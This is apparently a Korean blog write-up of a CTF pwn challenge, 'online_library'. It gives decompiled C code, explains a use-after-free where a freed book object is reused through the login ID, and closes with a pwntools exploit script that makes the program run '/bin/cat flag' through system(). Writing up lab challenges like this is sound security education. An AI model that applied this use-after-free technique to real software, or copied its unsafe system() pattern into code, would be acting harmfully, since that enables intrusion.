다른 사람들 도움되라고 올립니다.

 

main 함수 메뉴들

      case 1u:
        login(&v6);
        break;
      case 2u:
        logout(&v6);
        break;
      case 3u:
        (*(a2 + 32))(a2, &v4);
        break;
      case 4u:
        borrow_book(&v6, &a2, &a3);
        break;
      case 5u:
        return_book(&v6, &a2, &a3);
        break;
      case 6u:
        puts("600d by3..");
        exit(0);
        return;
      default:
        puts("don't mess with me! GET OUT!!!! ");
        exit(0);
        return;
int __fastcall login(char **a1)
{
  char *v1; // rbx
  int result; // eax

  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  *a1 = malloc(0x20uLL);
  getchar();
  printf("ID:", 0LL);
  fgets(*a1, 32, stdin);
  v1 = *a1;
  v1[strlen(*a1) - 1] = 0;
  result = printf("Welcome %s !!\n", v1);
  session = 1;
  return result;
}
int __fastcall logout(void **a1)
{
  int result; // eax

  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  result = session;
  if ( session == 1 )
  {
    free(*a1);
    result = puts("logout completed");
    session = 0;
  }
  return result;
}
void __fastcall borrow_book(__int64 a1, char **a2, _DWORD *a3)
{
  int *v3; // rsi
  size_t v4; // rax
  _DWORD *v5; // [rsp+8h] [rbp-48h]
  char **v6; // [rsp+10h] [rbp-40h]
  int idx; // [rsp+2Ch] [rbp-24h]
  char *book[3]; // [rsp+30h] [rbp-20h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v6 = a2;
  v5 = a3;
  v9 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  v3 = 0LL;
  setvbuf(stderr, 0LL, 1, 0LL);
  book[0] = "jack_and_the_beanstalk";
  book[1] = "kongjui_and_patjui";
  book[2] = "aladdin_lamp";
  *v6 = malloc(0x28uLL);
  while ( 1 )
  {
    puts("1. Jack and the Beanstalk");
    puts("2. Kongjui and Patjui");
    puts("3. Aladdin's Lamp");
    printf("> ", v3);
    v3 = &idx;
    __isoc99_scanf("%d", &idx);
    if ( idx <= 3 && idx > 0 )
      break;
    puts("We don't have that book");
  }
  *(*v6 + 6) = idx;
  v4 = strlen(book[idx - 1]);
  strncpy(*v6, book[idx - 1], v4);
  *(*v6 + 4) = read_book;
  *v5 = 1;
  printf("you just borrwed %s\n", *v6);
  if ( session == 1 )
  {
    point += 14;
    puts("you are our member !");
    puts("point +14");
  }
}
int __fastcall return_book(__int64 a1, void **a2, _DWORD *a3)
{
  int result; // eax
  _DWORD *v4; // [rsp+8h] [rbp-18h]

  v4 = a3;
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  if ( !*v4 )
    return puts("you don't have any book.");
  printf("return '%s'\n", *a2);
  free(*a2);
  result = v4;
  *v4 = 0;
  return result;
}
unsigned __int64 __fastcall read_book(__int64 a1)
{
  int v1; // eax
  char dest[8]; // [rsp+10h] [rbp-50h]
  __int64 v4; // [rsp+20h] [rbp-40h]
  __int64 v5; // [rsp+28h] [rbp-38h]
  __int64 v6; // [rsp+30h] [rbp-30h]
  __int64 v7; // [rsp+38h] [rbp-28h]
  __int64 v8; // [rsp+40h] [rbp-20h]
  __int64 v9; // [rsp+48h] [rbp-18h]
  unsigned __int64 v10; // [rsp+58h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  if ( *(a1 + 24) <= 3 && *(a1 + 24) >= 0 )
  {
    strcpy(dest, "/bin/cat ");
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    v7 = 0LL;
    v8 = 0LL;
    v9 = 0LL;
    printf("your book number : %d\n", *(a1 + 24));
    strcat(dest, a1);
    printf("book name : %s\n", a1);
    v1 = *(a1 + 24);
    switch ( v1 )
    {
      case 2:
        system(dest);
        break;
      case 3:
        system(dest);
        break;
      case 1:
        system(dest);
        break;
    }
  }
  else
  {
    puts("you don't have any book to read.");
  }
  return __readfsqword(0x28u) ^ v10;
}

간단한 UAF 문제
책을 빌리고나서 free해준 다음에 login에서 힙 포인터를 재사용할 수 있음
그래서 read_book()에서 book name을 flag로 만들어준다.
그 다음에 3번 메뉴 함수포인터 실행해주면 /bin/cat flag가 됨

익스코드

from pwn import *

e = ELF('./online_library')
p = process('./online_library')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def login(id):
    sla('>','1')
    sla('ID:',id)

def logout():
    sla('>','2')

def executePtr():
    sla('>','3')

def borrow(idx):
    sla('>','4')
    sla('>',str(idx))

def returnBook():
    sla('>','5')

# UAF
borrow(1)
returnBook()
login('flag')
executePtr()

p.interactive()


'''
[*] '/vagrant/online_library'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

'''

+ Recent posts